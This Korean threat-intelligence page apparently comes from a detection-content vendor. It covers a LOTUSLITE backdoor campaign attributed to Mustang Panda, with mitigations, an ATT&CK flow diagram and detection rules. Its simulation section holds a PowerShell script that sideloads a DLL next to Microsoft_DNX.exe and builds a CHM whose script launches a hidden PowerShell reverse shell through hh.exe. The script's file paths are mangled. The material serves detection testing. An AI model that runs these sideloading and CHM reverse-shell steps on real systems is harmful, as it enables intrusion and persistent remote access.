같은 패킷, 다른 마법: Mustang Panda, 인도 금융 부문 및 한국 지정학 공격
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
Acronis 위협 연구팀은 인도의 은행 부문과 한국 외교 업무에 연결된 개인을 대상으로 하는 새로운 LOTUSLITE 백도어 변종을 발견했습니다. 이 악성 코드는 DLL 사이드로딩을 통해 배포되며, 합법적인 Microsoft 서명 실행 파일을 사용하여 악성 라이브러리를 로드한 후 HTTPS를 통해 동적 DNS 기반 명령 및 제어 서버와 통신합니다. 인프라 패턴과 무역기술 중첩을 기반으로 연구자들은 이러한 활동을 Mustang Panda에 중간 정도의 신뢰로 귀속했습니다.
조사
분석가들은 악성 CHM 파일, JavaScript 기반 로더 및 서명된 Microsoft_DNX.exe 파일을 조사하여 LOTUSLITE 페이로드를 사이드로딩한 DLL을 확인했습니다. 그들의 분석은 내보낸 함수, 뮤텍스 명명 규칙, 명령줄 스위치, 패킷 매직 값, 및 API 해상 방법에서의 업데이트를 밝혔습니다. 팀은 또한 Dynu 관리 도메인과 관련된 IP 인프라를 재사용하여 이전의 Mustang Panda 캠페인과 작업을 연결했습니다.
완화책
방어자는 신뢰할 수 있는 Microsoft 서명 실행 파일로의 무단 DLL 로딩을 방지하고, 식별된 뮤텍스 패턴과 수정된 명령줄 인수를 모니터링하며, 동적 DNS 트래픽 주위에 엄격한 제어를 취해야 합니다. 보안 팀은 또한 특징적인 패킷 매직 값 0xB2EBCFDF 를 탐지하고 지속성을 나타낼 수 있는 의심스러운 HKCU 실행 키 수정 사항을 주의 깊게 살펴보아야 합니다.
대응
이 활동이 감지되면, 영향을 받은 시스템을 즉시 격리하고, 악성 프로세스를 종료하며, 디스크에서 사이드로딩된 DLL과 악용된 실행 파일을 제거해야 합니다. 포렌식 분석을 위해 메모리를 캡처하고, 노출된 자격 증명을 철회하며, 식별된 명령 및 제어 도메인과 IP 주소를 차단해야 합니다. 캠페인에 관련된 뮤텍스 및 레지스트리 기반 지속성 아티팩트를 환경에서 광범위하게 사냥해야 합니다.
"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b><br/>악성 컴파일된 HTML 도움말(CHM) 파일이 이메일로 전송됩니다."] class action_initial_access action file_chm["<b>File</b> – <b>Name</b>: Request_for_Support.chm<br/><b>Type</b>: 컴파일된 HTML 도움말"] class file_chm file action_user_execution["<b>Action</b> – <b>T1204.002 User Execution</b><br/>피해자가 CHM을 열어 포함된 JavaScript를 실행합니다."] class action_user_execution action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b><br/>JavaScript는 ActiveX 및 숨겨진 HTML을 사용하여 Microsoft 서명된 실행 파일과 악성 DLL을 떨어뜨립니다."] class action_obfuscation action file_ms_dnx["<b>File</b> – <b>Name</b>: Microsoft_DNX.exe<br/><b>Signature</b>: Microsoft 서명"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Name</b>: LotusLite 변종 DLL<br/><b>Type</b>: 동적 링크 라이브러리"] class file_lotuslite malware action_embedded_payloads["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>CHM에는 DLL과 EXE를 추출하고 실행하는 JavaScript(music.js)가 포함되어 있습니다."] class action_embedded_payloads action action_system_binary_proxy["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b><br/>Microsoft_DNX.exe는 LoadLibraryExW를 통해 악성 DLL의 실행을 프록시 처리합니다."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b><br/>신뢰할 수 있는 .NET 런타임 도구인 Microsoft_DNX.exe를 악용하여 백도어를 실행합니다."] class action_trusted_dev_utilities action action_script_proxy["<b>Action</b> – <b>T1216 System Script Proxy Execution</b><br/>포함된 JavaScript는 실행 파일을 실행하기 위한 스크립트 프록시로 작동합니다."] class action_script_proxy action action_hijack_execution["<b>Action</b> – <b>T1574.005 Hijack Execution Flow</b><br/>실행 파일의 디렉터리에 동일한 이름의 악성 DLL을 배치하여 DLL 사이드로딩을 수행합니다."] class action_hijack_execution action action_persistence["<b>Action</b> – <b>T1547.014 Boot or Logon Autostart Execution</b><br/>활성 설정이 HKCUSoftwareMicrosoftWindowsCurrentVersionRun 아래에 실행 키를 작성합니다."] class action_persistence persistence command_and_control["<b>Command and Control</b><br/>심어 둔 프로그램이 dynamic-DNS 도메인 editor.gleeze.com에 HTTPS를 통해 접속합니다."] class command_and_control process %% Connections showing attack flow action_initial_access –>|delivers| file_chm file_chm –>|opened by victim| action_user_execution action_user_execution –>|triggers| action_obfuscation action_obfuscation –>|drops| file_ms_dnx action_obfuscation –>|drops| file_lotuslite file_ms_dnx –>|used in| action_system_binary_proxy file_ms_dnx –>|used in| action_trusted_dev_utilities action_system_binary_proxy –>|loads| file_lotuslite action_trusted_dev_utilities –>|executes| file_lotuslite action_user_execution –>|executes| action_script_proxy action_script_proxy –>|launches| file_ms_dnx action_obfuscation –>|enables| action_embedded_payloads action_embedded_payloads –>|provides| action_hijack_execution action_hijack_execution –>|facilitates| action_persistence action_persistence –>|establishes| command_and_control "
공격 흐름
탐지
공용 사용자 프로필의 의심스러운 파일 (파일 이벤트를 통해)
보기
가능한 지속성 지점 [ASEPs – 소프트웨어/NTUSER Hive] (레지스트리 이벤트를 통해)
보기
공용 사용자 프로필에서의 의심스러운 실행 (프로세스 생성 경로를 통해)
보기
IOCs (HashSha256)로 탐지: 동일한 패킷, 다른 마법: Mustang Panda가 인도의 은행 부문과 한국의 지정학적 영역을 타겟팅
보기
IOCs (SourceIP)로 탐지: 동일한 패킷, 다른 마법: Mustang Panda가 인도의 은행 부문과 한국의 지정학적 영역을 타겟팅
보기
IOCs (DestinationIP)로 탐지: 동일한 패킷, 다른 마법: Mustang Panda가 인도의 은행 부문과 한국의 지정학적 영역을 타겟팅
보기
LOTUSLITE 백도어 C2 통신 탐지 [Windows 네트워크 연결]
보기
Microsoft DNX 및 HH.exe를 통한 LOTUSLITE 백도어 탐지 [Windows 프로세스 생성]
보기
시뮬레이션 실행
전제조건: Telemetry & Baseline 사전 비행 탐사가 통과해야 합니다.
이유: 이 섹션은 탐지 규칙을 촉발시키기 위해 설계된 구체적인 적대자 기술(TTP)의 실행을 자세히 설명합니다. 명령어와 설명은 TTP에 대해 직접 반영되어야 하며 탐지 논리에 의해 기대되는 정확한 텔레메트리를 생성하기 위한 것입니다.
-
공격 서사 및 명령어:
-
악성 DLL 준비:
- 공격자는 악성 DLL(
lotuslite.dll)을(를) 합법적인 파일과 동일한 디렉터리에 복사합니다.Microsoft_DNX.exe. 이 DLL은 백도어 페이로드를 포함하고 있습니다.
- 공격자는 악성 DLL(
-
Microsoft_DNX.exe를 통한 DLL 사이드로딩 실행:
- 을(를) 인수 없이 실행하여 Windows가 먼저 악성 DLL을 로드하게 하여(“검색 순서” 하이재킹으로 인해) 백도어를 실행합니다.
Microsoft_DNX.exewithout arguments, Windows loads the malicious DLL first (due to the “search order” hijack), executing the backdoor.
- 을(를) 인수 없이 실행하여 Windows가 먼저 악성 DLL을 로드하게 하여(“검색 순서” 하이재킹으로 인해) 백도어를 실행합니다.
-
악성 CHM 생성:
- CHM 파일 (
evil.chm)은 렌더링될 때 PowerShell 역셸을 실행하는 JavaScript를 포함하도록 작성되었습니다.
- CHM 파일 (
-
hh.exe를 통한 JavaScript 트리거:
- 공격자는
hh.exe evil.chm을(를) 실행하여 HTML 도움말 실행 파일이 CHM을 파싱하고 포함된 스크립트를 실행하여 서명된 바이너리 아래서 코드 실행을 달성합니다.
- 공격자는
이 시퀀스는 탐지 규칙의 조건에 맞는 두 가지 별개의 Sysmon 프로세스 생성 이벤트를 생성합니다.
-
-
회귀 테스트 스크립트:
# ------------------------------------------------------------------------- # LotusLite Simulation – DLL sideloading + hh.exe CHM execution # ------------------------------------------------------------------------- # Prerequisites: # - Sysmon installed and forwarding logs. # - Administrator privileges (required for writing to Program Files). $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent # 1. Deploy malicious DLL (simulated payload) $malDllSource = "C:Templotuslite.dll" # <-- replace with real payload path $malDllDest = Join-Path $dnxDir "lotuslite.dll" Copy-Item -Path $malDllSource -Destination $malDllDest -Force # 2. Launch Microsoft_DNX.exe to trigger DLL sideloading Write-Host "[*] Launching Microsoft_DNX.exe for DLL sideloading..." Start-Process -FilePath $dnxPath -WindowStyle Hidden # 3. Create malicious CHM containing JavaScript (simplified example) $chmPath = "C:Tempevil.chm" $htmlContent = @" <HTML><HEAD> <SCRIPT language=`"JScript`"> var shell = new ActiveXObject("WScript.Shell"); shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0); </SCRIPT> </HEAD><BODY></BODY></HTML> "@ $tempHtml = "C:Tempevil.html" $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII # Use makecab to wrap the HTML into a CHM (requires Windows SDK tools) $makeCab = "$env:WINDIRsystem32makecab.exe" & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath # 4. Execute the CHM via hh.exe Write-Host "[*] Launching hh.exe on malicious CHM..." Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden # Cleanup temporary files (retain malicious DLL for post‑run analysis) Remove-Item $tempHtml -Force Write-Host "[*] Simulation complete." -
정리 명령어:
# ------------------------------------------------------------------------- # Cleanup for LotusLite Simulation # ------------------------------------------------------------------------- $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe" $dnxDir = Split-Path $dnxPath -Parent $malDllDest = Join-Path $dnxDir "lotuslite.dll" $chmPath = "C:Tempevil.chm" # Remove malicious DLL if (Test-Path $malDllDest) { Remove-Item $malDllDest -Force Write-Host "[*] Removed malicious DLL." } # Remove CHM if (Test-Path $chmPath) { Remove-Item $chmPath -Force Write-Host "[*] Removed malicious CHM." } # Optionally terminate lingering processes (if any) Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force Write-Host "[*] Cleanup finished."